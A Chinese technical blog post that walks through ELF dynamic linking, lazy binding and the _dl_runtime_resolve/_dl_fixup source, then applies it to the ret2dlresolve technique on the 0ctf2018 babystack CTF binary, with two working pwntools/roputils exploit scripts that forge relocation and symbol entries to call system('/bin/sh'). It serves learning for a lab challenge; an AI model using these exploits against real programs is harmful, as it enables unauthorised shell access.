0%

dl_runtime_resolve源码分析

dl_runtime_resolve源码分析

————深入理解ret2dlresolve

ret2dlresolve是一种高级的ROP技巧,目前我只是见识了一下题目

于是想通过分析 _dl_runtime_resolve 来搞懂 ret2dlresolve 的攻击核心点


前言-链接器&重定位

一般C语言程序到机器语言需要经过以下这些步骤:

1
预处理 -> 编译 -> 汇编 -> 链接 

C语言代码经过编译以后,并没有生成最终的可执行文件(exe 文件),而是生成了一种叫做目标文件(Object File)的中间文件

可重定位目标文件,是目标文件的一种,它里面的代码与数据,都是各个文件独立的代码与数据

需要“链接”这个过程使它们建立联系并融合,而“链接”这个过程由链接器来完成

链接:

其实就是一个“打包”的过程,它将所有二进制形式的目标文件和系统组件组合成一个可执行文件(各个目标文件就会融合为一个可执行文件)

链接器:

1.符合解析:链接器会将重定位条目中的 所有引用符号表中的符号 关联起来(这个符号可能在同一个可重定位目标文件中,也可能在其他可重定位目标文件中)

2.文件合并:将所有目标文件的同类型段合并

3.重定位:当所有目标文件合并完毕后,其各个段的地址都会有偏移,数据段和代码段中的相对地址都被链接器修正为最终的内存位置,这样所有的变量以及函数都确定了其各自位置

参考:

链接器:https://blog.csdn.net/qq_37375427/article/details/84947071

可重定位目标文件:https://blog.csdn.net/qq_45109990/article/details/103397772

重定位:https://segmentfault.com/a/1190000016433947


前言-GUN链接器(ld)

特点:

解决程序内部跨文件引用的链接时重定位

引用外部库文件的装载时重定位(为了加快加载速度还使用了延迟绑定

链接时重定位(静态链接):在逻辑地址转换为物理地址的过程中,地址变换是在进程装入时一次完成的,以后不再改变

装载时重定位(动态链接):动态运行的装入程序把转入模块装入内存之后,并不立即把装入模块的逻辑地址进行转换,而是把这种地址转换推迟到程序执行时才进行,装入内存后的所有地址都仍是逻辑地址,这种方式需要寄存器的支持,其中放有当前正在执行的程序在内存空间中的起始地址

参考:

装载时重定位:https://zhuanlan.zhihu.com/p/317478523

装载时重定位:https://blog.csdn.net/parallelyk/article/details/42747239


ELF结构- dynamic 段

dynamic段是动态链接中最重要的段,它记录了和动态链接有关的段的类型,地址或者数值,指向了与动态链接相关的段

dynamic段包含了以下结构的一个数组:

1
2
3
4
5
6
7
8
9
typedef struct {
Elf32_Sword d_tag;//如果是64位系统就改为Elf64
union {
Elf32_Sword d_val;//那些Elf32_Word object描绘了具有不同解释的整形变量
Elf32_Addr d_ptr;//那些Elf32_Word object描绘了程序的虚拟地址
} d_un;
} Elf32_Dyn;

extern Elf32_Dyn _DYNAMIC[];

Elf_Dyn结构体由一个类型值加上一个附加的数值或指针组成

对每一个有该类型的object,d_tag控制着d_un的解释

d_tag类型 d_un的定义
#define DT_STRTAB 5(0x5) 动态链接字符串表的地址,d_ptr表示.dynstr的地址 (Address of string table)
#define DT_SYMTAB 6(0x6) 动态链接符号表的地址,d_ptr表示.dynsym的地址 (Address of symbol table)
#define DT_JMPREL 23(0x17) 动态链接重定位表的地址,d_ptr表示.rel.plt的地址 (Address of PLT relocs)
#define DT_RELENT 19(0x13) 单个重定位表项的大小,d_val表示单个重定位表项大小 (Size of one Rel reloc )
#define DT_SYMENT 11(0xb) 单个符号表项的大小,d_val表示单个符号表项大小 (Size of one symbol table entry )

32位:

64位:

​ //64位和32位有些许不同:32位,DT_RELENT(0x13);64位,DT_RELAENT(0x9)

现在开始对最为重要的3个表进行介绍:

重定位表(jmprel) :位于rel.plt段,有结构体 Elf_Rel ,中包含了需要 重定位的函数 的信息

1
2
3
4
5
typedef struct {
Elf32_Addr r_offset; // 重定位入口的偏移
Elf32_Word r_info; // 重定位入口的类型(低8位,1字节)
// 符号在符号表中的下标(高24位,3字节)
} Elf32_Rel;

​ //程序将对got表进行重定位,所以got表首地址就是“重定位入口”

符号表(symtab) :位于dynsym段,有结构体 Elf_Sym ,用于记录符号的关键信息

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //表示该成员在字符串表中的下标
Elf32_Addr st_value; //将要解析的函数在libc中的偏移地址
Elf32_Word st_size; //符号长度
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;

字符串表(strtab):位于dynstr段,无结构体,用于存储存储dysym符号表中的符号

参考:

http://blog.chinaunix.net/uid-1835494-id-2831799.html


延迟绑定

Lazy Binding机制(延迟绑定):即只有函数被调用时,才会对函数地址进行解析,然后将真实地址写入GOT表中,第二次调用函数时便不再进行加载

程序第一次识别函数“function”时,跳转plt表,然后跳转got表,接着返回plt[0],执行“lookup”

​ //检查函数“lookup”可以获取“function_libc”并执行,还会把它写入got表

在IDA中打开公共plt表:(plt[0])

push,jmp指令后就是got表地址

现在看上去这里没有东西,这是因为Lazy Binding在函数调用时才会进行解析

got表地址中:

got[0]:.dynamic段的起始地址

got[1]:link_map

got[2]:_dl_runtime_resolve 函数

got[3-n]:剩余的got表

在jmp指令执行后,相当于执行 _dl_runtime_resolve( link_map,reloc_arg )

注意:在被调用函数 自己的plt表 中会push一个值,然后在 公共plt表 中又会push一个值

​ //其实dl_runtime_resolve就是检查函数“lookup”

参考:https://www.cnblogs.com/unr4v31/p/15168342.html


分析dl_runtime_resolve

_dl_runtime_resolve用于对动态链接的函数进行重定位,是一段汇编语言

1.link_map_obj:结构体link_map,包含了动态装载器加载ELF对象需要的全部信息

2.reloc_arg:可以找到文件中.rel.plt表 ,标识了解析哪一个导入函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
   .text
.globl _dl_runtime_resolve
.type _dl_runtime_resolve, @function
.align 16
cfi_startproc//所有cfi开头的指令和函数检测有关,即GNU Profiler,这里不关心
_dl_runtime_resolve:
cfi_adjust_cfa_offset(16)
subq $56,%rsp//rsp-56(上移7个地址空间)
cfi_adjust_cfa_offset(56)
//分别把rax,rcx,rdx,rsi,rdi,r8,r9,装入栈
movq %rax,(%rsp) // rsp+00|rax
movq %rcx, 8(%rsp) // rsp+08|rcx
movq %rdx, 16(%rsp) // rsp+16|rdx
movq %rsi, 24(%rsp) // rsp+24|rsi
movq %rdi, 32(%rsp) // rsp+32|rdi
movq %r8, 40(%rsp) // rsp+40|r8
movq %r9, 48(%rsp) // rsp+48|r9
movq 64(%rsp), %rsi//rsp+64->rsi(第2个参数:标识了解析哪一个导入函数)
movq 56(%rsp), %rdi//rsp+56->rdi(第1个参数:获取解析导入函数所需的信息)
call _dl_fixup//核心,用于解析导入函数的真实地址
//把保存在栈上的数据恢复
movq %rax, %r11
movq 48(%rsp), %r9
movq 40(%rsp), %r8
movq 32(%rsp), %rdi
movq 24(%rsp), %rsi
movq 16(%rsp), %rdx
movq 8(%rsp), %rcx
movq (%rsp), %rax
addq $72, %rsp//rsp+72
cfi_adjust_cfa_offset(-72)
jmp *%r11 // Jump to function address
cfi_endproc
.size _dl_runtime_resolve, .-_dl_runtime_resolve

_dl_fixup:

1
2
3
#define ElfW(type)  _ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t) _ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t) e##w##t
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
ElfW(Addr) __attribute ((noinline)) _dl_fixup ( struct link_map *__unbounded l, ElfW(Word) reloc_arg)
//ElfW为宏定义,用于根据32位或64位的计算机获取最终的变量
{
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//通过参数link_map获取了‘symtab’和‘strtab’
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//1.首先通过参数reloc_arg计算:对应的Elf_Rel结构体
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//2.然后通过reloc->r_info找到:对应的Elf_Sym结构体
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
//这里通过r_offset获取了got表地址(不是重点内容)
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
//3.接着通过strtab + sym->st_name找到符号表字符串,result为libc基地址

value = sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0;
//4.value为libc基址加上要解析函数的偏移地址(st_value),也即实际地址
}
else
{
value = l->l_addr + sym->st_value;
result = l;
}

return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
//5.最后把value写入相应的GOT表条目中,并执行(不是重点内容)
}

简单来说:

1.dl_fixup会根据参数link_map可以找到.dynamic的地址

2.根据.dynamic的地址分别找到.rel.plt,dynsym,dynstr的地址

3.通过“_dl_lookup_symbol_x”计算出libc基地址,计算得目标在libc中的真实地址

4.最后写入got表

参考:

AT&T汇编:https://www.jianshu.com/p/0480e431f1d7

Link Map:https://www.shuzhiduo.com/A/Ae5RgZDrdQ/

重定位入口:https://www.cnblogs.com/fr-ruiyang/p/10457817.html


数据索引流程

不管是在dl_runtime_resolve中,还是在_dl_fixup中,都有许多“数据识别”的操作

函数_dl_runtime_resolve执行时,它需要知道搜索哪一个函数,获取对应的 符号真实地址 等信息,这些都需要进行“数据识别”,那么对于每一个函数,必须有可以唯一确定它的身份的标识信息,同样,在“jmprel,symtab,strtab”中也必须有对应的标识信息来索引正确的数据

这个 “标识信息” 就是各个表中,各个元素的下标

然后我们就通过分析dl_runtime_resolve的执行过程来了解下标的作用:

1
2
3
4
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//‘symtab’和‘strtab’分别为symtab和strtab的基地址
//D_PTR (l, l_info[DT_XXXX]:用于获取'symtab','strtab','jmprel'的首地址

1.dl_runtime_resolve在搜索某个函数时,首先需要获取它在jmprel中的位置

1
2
3
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) +
reloc_offset);
//首先获取'jmprel',然后加上'reloc_offset'就是目标函数在jmprel中的地址了

这里的“reloc_offset”就是目标函数在jmprel中的下标,同时也是“reloc_arg”

“reloc_offset” + “jmprel” = “目标函数在jmprel中对应的位置”,保存于指针reloc中,指向对应结构体Elf_Rel

2.通过结构体Elf_Rel中的信息,获取dynsym中目标符号的位置

1
2
3
4
5
typedef struct {
Elf32_Addr r_offset; // 重定位入口的偏移(可以定位got表地址)
Elf32_Word r_info; // 重定位入口的类型(低8位)
// 符号在符号表中的下标(高24位)
} Elf32_Rel;
1
2
3
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//reloc->r_info:存储有‘目标符号在符号表中的下标’
//相当于*sym = symtab[index],直接获取了目标符号的Elf_Sym结构体

计算“r_info >> 8”得到目标函数在symtab中的下标(index)

“symtab[index]” = “目标符号在symtab中对应的位置”,保存于指针sym中,指向对应结构体Elf_Sym

3.通过结构体Elf_Sym中的信息,获取关键信息,并计算出 libc基地址

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //表示该成员在字符串表中的下标
Elf32_Addr st_value; //将要解析的函数在libc中的偏移地址
Elf32_Word st_size; //符号长度
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;
1
2
3
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
//sym->st_name:存储有‘该字符串在字符串表中的下标’
//_dl_lookup_symbol_x根据多种信息得出libc基地址,保存于result中

这里的“st_name”就是目标字符串在strtab中的下标

“st_name” + “strtab” = “对应的字符串”,传入_dl_lookup_symbol_x,而这个函数可以根据:link_map,sym(指向结构体Elf_Sym),version(版本信息),flags(标志)等各个信息综合分析,最终获取libc的基地址,保存于指针result中

4.根据libc基地址获取目标函数的真实地址

1
2
value = sym ? (LOOKUP_VALUE_ADDRESS (result)+ sym->st_value) : 0;
//sym->st_value:存储有将要解析函数的偏移地址(和‘下标’不同)

“result” + “st_value” = “目标函数在libc中的真实地址”,存储于value中

5.图表如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
     _dl_runtime_resolve(link_map, reloc_arg)
+
+-----------+ | #jmprel[0]+reloc_arg
| Elf32_Rel | <--------------+
+-----------+
+--+ | r_offset | +-----------+
| | r_info | +----> | Elf32_Sym | #libc_base+st_value
| +-----------+ +-----------+ +----------+
| .rel.plt | st_name | +--> |'system\0'|
| | | +----------+
v +-----------+ .dynstr
+----+-----+ .dynsym
| <system> | #symtab[index]
+----------+
.got.plt

总而言之:

传入参数reloc_arg就是重定位表的下标

“Elf32_Rel -> r_info” 的高24字节就是字符表的下标

“Elf32_Sym -> st_name” 就是字符串表的下标

​ //在上一个表中,存储有下一个表的下标


RELRO保护机制

系统保护机制 RELRO(Relocation Read-Only,重定位只读)

RELRO有3种形式:

1.No RELRO:

没有RELRO,.dynamic段可写,所以我们可以任意修改GOT表/plt表

2.Partial RELRO:

部分RELRO,.dynamic段不可写,不能修改plt表但是可以修改GOT表, 该ELF文件的各个部分被重新排序

3.FULL RELRO:

完全开启RELRO,启后 立即绑定 函数地址,.got段只读不可写,该ELF文件的各个部分被重新排序

FULL RELRO 可以限制 ret2dlresolve ,但是 Partial RELRO 是没有影响的


深入理解ret2dlresolve

ret2dlresolve通常有3种思路:

思路 1 - 控制dynamic(直接修改got表)

思路 2 - 控制重定位表项的相关内容

思路 3 - 伪造 link_map

这里我们重点分析“思路 3”:

函数_dl_runtime_resolve( link_map,reloc_arg )有一个漏洞:

​ //如果是32位系统,字长就变为4

它的参数都是直接从栈上取的,这样我们伪造栈,就可以伪造参数了

​ //栈顶为link_map,下一个栈空间就是reloc_arg

为了实现这一点,必须先进行栈转移来实现“完全控制”(输入值可以控制栈顶)

这里我们用经典题目 0ctf2018 babystack(32位)来介绍 ret2dlresolve 的过程:

此题的源文件很简单,就一个read函数,没有任何东西

1
2
3
4
5
6
7
8
9
10
11
12
int main()
{
alarm(0xA);
myread();
return 0;
}

ssize_t myread()
{
char buf[40];
return read(0, buf, 0x40);
}

先看常规攻击的exploit:(思路 3 - 伪造 link_map)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

p = process("./ret2dlresolve")
elf = ELF("./ret2dlresolve")

bss_addr = 0x0804a000
bss_stage = bss_addr + 0x800

read_plt = elf.plt["read"]

pop_ebp_ret = 0x080484eb
leave_ret = 0x080483a8

#伪造read(0,bss_stage,100),同时完成栈转移bss_stage
payload = 'a'*0x28
payload += p32(bss_stage)
payload += p32(read_plt)
payload += p32(leave_ret)#read执行完成后,执行leave_ret
payload += p32(0)
payload += p32(bss_stage)
payload += p32(100)
print hex(len(payload))
p.send(payload)


dynsym = 0x080481cc
dynstr = 0x0804822c
plt_0 = 0x080482f0 #plt[0]的第一个地址
rel_plt = 0x080482b0 #重定位表的起始地址
#伪造‘重定位表的下标’(.rel.plt)
index_offset = (bss_stage + 28) - rel_plt #index_offset => bss_stage+28


fake_sym_addr = bss_stage + 36 #伪造Elf_sym的地址:bss_stage+36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #对齐到0x10字节
fake_sym_addr = fake_sym_addr + align
#伪造‘符号表的下标’(.dynsym)
index_dynsym = (fake_sym_addr - dynsym) / 0x10 #index_dynsym => bss_stage+36


fake_str_addr = fake_sym_addr + 0x10 #伪造str的地址:bss_stage+36+16
#伪造‘字符串表的下标’(.dynstr)
st_name = fake_str_addr - dynstr #st_name => bss_stage+36+16
#伪造Elf_sym结构体
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) #长16字节


alarm_got = elf.got["alarm"]
#利用index_dynsym,逆向运算伪造r_info
r_info = (index_dynsym << 8) | 0x7 #左移8位,末尾3位全变为1
#伪造Elf_Rel结构体
fake_reloc = p32(alarm_got) + p32(r_info)


#payload构造
payload = 'a'*0x4 #位于bss_stage+0
payload += p32(plt_0)
payload += p32(index_offset) #index_offset -> bss_stage+28 -> fake_reloc
payload += 'aaaa'
payload += p32(bss_stage+80) #bss_stage+80 -> /bin/sh
payload += 'aaaa'
payload += 'aaaa'
payload += fake_reloc #位于bss_stage+28
payload += 'a'*align
payload += fake_sym #位于bss_stage+36(长16字节)
payload += "system\x00" #伪造函数字符串 #位于bss_stage+36+16
payload = payload.ljust(80,'a') #补齐80字节
payload += "/bin/sh\x00" #伪造参数字符串 #位于bss_stage+80
payload = payload.ljust(100,'a')
p.sendline(payload)

p.interactive()

根据 延迟绑定 机制,程序第一次调用某个函数时会调用函数 _dl_runtime_resolve 来获取它的真实地址,ret2dlresolve 也是在这一步动手脚,通过控制栈中的数据来伪造 _dl_runtime_resolve 的参数

1
2
3
payload = 'a'*0x4					
payload += p32(plt_0) #伪造link_map
payload += p32(index_offset) #伪造reloc_arg

ret2dlresolve根据参数reloc_arg可以获取“Elf_Rel”,“Elf_Sym”,“str”等数据的地址

而我们通过栈转移把使SS:SP指向fake_stack,然后伪造“Elf_Rel”,“Elf_Sym”,“str”,最后伪造函数reloc_arg来误导程序把“aaaa”重定位成“system(‘/bin/sh’)”

​ //为什么这里是“aaaa”,在最后说明

先看正常的调用栈:

1
2
3
4
0000| 0xffffcf24 --> 0xf7ffd990 --> 0x0   	 //link_map
0004| 0xffffcf28 --> 0x8 //reloc_arg
0008| 0xffffcf2c --> 0x0 //返回地址
0012| 0xffffcf30 --> 0x0 //参数

再看伪造后的调用栈:

1
2
3
4
0000| bss_stage+4  --> plt_0 --> 0x0   	 
0004| bss_stage+8 --> index_offset
0008| bss_stage+12 --> 'aaaa'
0012| bss_stage+16 --> bss_stage+80 --> "/bin/sh\x00"

伪造reloc_arg为index_offset,欺骗程序把“bss_stage+28”处的内容识别为Elf_rel

伪造Elf_rel中的r_info,欺骗程序把“bss_stage+36”处的内容识别为Elf_sym

伪造Elf_sym中的st_name,欺骗程序把“bss_stage+52”处的内容识别为str

1
2
3
4
5
6
7
8
9
10
11
0000| bss_stage+20 --> 'aaaa'
0000| bss_stage+24 --> 'aaaa'
0000| bss_stage+28 --> fake_reloc->alarm_got(r_offset)//伪造Elf_rel
0000| bss_stage+32 --> fake_reloc->r_info(r_info)
0000| bss_stage+36 --> fake_sym->st_name(st_name)//伪造Elf_sym
0000| bss_stage+40 --> fake_sym->st_value(0)
0000| bss_stage+44 --> fake_sym->st_size(0)
0000| bss_stage+48 --> fake_sym->st_shndx(0x12)
0000| bss_stage+52 --> "system\x00"//伪造str
0000| bss_stage+56 --> ........
0000| bss_stage+80 --> "/bin/sh\x00"

一连串的伪造,最终欺骗程序把“aaaa”重定位为“system”,又因为dl_runtime_resolve会在重定位完成以后重新执行函数,所以可以获取shell

ret2dlresolve的利用过程很复杂,需要伪造相关的数据结构,但又比较固定,所以有许多工具来帮助我们实现ret2dlresolve,避免繁杂重复的过程

1.Pwntools中有专门针对ret2dlresolve的模块 >> Ret2dlresolvePayload

2.roputils就是为ret2dlresolve而生的

利用工具攻击的exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding:utf-8
import sys
import roputils
from pwn import *

offset = 44
readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B # Attackeds function

p = process('./ret2dlresolve')

rop = roputils.ROP('./ret2dlresolve')# ROP module + roputils module
addr_bss = rop.section('.bss')

buf1 = 'A' * offset
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
# fake:read(0,addr_bss,100)
p.send(buf1)
#套路固定
#----------------------------------------------------------------#
buf2 = rop.string('/bin/sh') #addr_bss+0 -> '/bin/sh'
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system') #addr_bss+20 -> 'system'
buf2 += rop.fill(100, buf2)
p.send(buf2)
#----------------------------------------------------------------#

buf3 = 'A'*offset + rop.dl_resolve_call(addr_bss+20, addr_bss)
p.send(buf3)
p.interactive()

注意:

32位依照这样打就可以了,但64位在这种情况下,如果像32位一样依次伪造reloc,symtab,strtab,会出错,原因是在_dl_fixup函数执行过程中,访问到了一段未映射的地址处

本篇博客重点介绍原理,所以就不介绍64位的情况了

今后我会在实战中

参考:

https://www.cnblogs.com/unr4v31/p/15168342.htm

https://www.anquanke.com/post/id/184099#h3-2

https://blog.csdn.net/qq_51868336/article/details/114644569 (核心)


PS:

为什么程序会调用“aaaa”呢?

1
2
3
4
5
6
7
payload = 'a'*0x28					
payload += p32(bss_stage)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(bss_stage)
payload += p32(100)

read_plt执行过程中,会输入新的payload到bss_stage中,执行结束后会返回leave_ret

这里的关键就是leave_ret,汇编语言leave本身会“pop ebp”一次,然后ret又一次“pop”控制ip指针

1.leave把bss_stage变为新的ebp,然后重置sp指针,这时bss_stage就是新的栈

2.ret则会把新的栈中的栈顶弹入ip指针

read_plt已经提前在它之中写入了数据:(节选)

1
2
3
4
5
payload = 'a'*0x4						  
payload += p32(plt_0)
payload += p32(index_offset)
payload += 'aaaa'
payload += p32(bss_stage+80)

所以指令ret会把 ‘aaaa’ 弹到ip寄存器中,而程序没法识别 ‘aaaa’ ,所以会把它当成一个新的函数,然后会调用 ret2dlresolve 去尝试重定位这个函数,这时伪装就成功了